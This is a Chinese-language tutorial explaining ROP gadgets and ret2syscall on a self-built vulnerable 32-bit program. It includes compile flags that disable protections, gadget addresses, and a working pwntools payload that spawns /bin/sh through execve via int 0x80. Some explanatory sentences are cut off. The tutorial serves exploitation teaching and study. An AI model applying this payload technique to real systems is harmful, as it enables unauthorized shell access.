ropgadgets与ret2syscall技术原理
程序:
#include <stdio.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #include <sys/syscall.h> void exploit() { system("/bin/sh"); } void func() { char str[0x20]; read(0,str,0x50); } int main() { func(); return 0; }很容易看出func存在溢出
liunx上面的系統調用原理
eax 系統調用號 ebx 第一個參數 ecx 第二個參數 edx 第三個參數 esi 第四個參數 edi 第五個參數 int 0x80我們利用上面的溢出和根據ropgadgets與ret2syscall技術原理去執行execve("/bin/sh",null,null); ,
所以eax就存放execve函數的系統調用號11,ebx存放第一個參數/bin/sh,ecx存放第二個參數null,就是0,edx存放第三個
編譯
gcc -no-pie -fno-stack-protector -static -m32 -o 7.exe 7.c gdb 7.exe startstatic:靜態編譯,這樣有指令流序列
找到溢出點:
在44溢出
利用ropgadget找指令地址
利用溢出把函數execve需要的參數壓入棧中,壓入棧中之后,這個時候我們就需要找指令地址,利用ret、push、pop這些指令把值賦值到相應的寄存器中
ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"找指令流中包含pop和ret的,還必須有eax,我們用:0x080aaa06
地址:0x0806f711
/bin/sh地址:0x080ae008
int 0x80地址:0x0804a3d2
poc和解釋
from pwn import * context(arch="i386",os="linux") p=process('./7.exe') offset = 44 add_eax=p32(0x080aaa06) value_eax=p32(0xb) add_edx_ecx_ebx=p32(0x0806f711) value_ebx=p32(0x080ae008) value_ecx=p32(0) value_edx=p32(0) add_int=p32(0x0804a3d2) payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int pid=proc.pidof(p) print pid pause() p.sendline(payload) p.interactive()解釋一下:
溢出44,所以我們用44個0x90填充,add_eax是pop eax ; ret 這段程序的地址, 當執行func函數的ret語句時會,eip為這個地
執行pop eax ; ret 這兩條語句,pop eax,此時棧頂值只要時調用execve函數調用號,我們就成功把調用號復制給eax,eax
所以后面加了value_eax 。
執行完pop eax ,棧頂的值是add_edx_ecx_ebx ,也就是下面程序的地址
執行ret,我們到這段程序執行,此時棧頂的值是value_edx ,執行pop edx ; ,value_edx到edx中了,后面指令依次類推,執
棧頂的值是: add_int ,也就是int 0x80 的首地址,執行完ret,我們到這里執行,成功調用execve函數
執行poc,成功:
總結
這個思想大致是在一個程序中,找出我們需要的語句,然后利用溢出,構造數據,把數據打入棧中·,然后利用pop、push、ret語句,將這些數據傳入到相應的寄存器,然后讓程序去執行這些語句,相當于我們在
一些語句,讓程序不按照原來的步驟執行,去執行我們找出來的語句。
這里面關鍵的技術是保證堆棧平衡,把參數放到指令流需要的地方。這是ropgadgets技術的精髓
總結
以上是生活随笔為你收集整理的ropgadgets与ret2syscall技术原理的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 异兽志剧情介绍
- 下一篇: 颐和园六十岁以上的老人是不是免票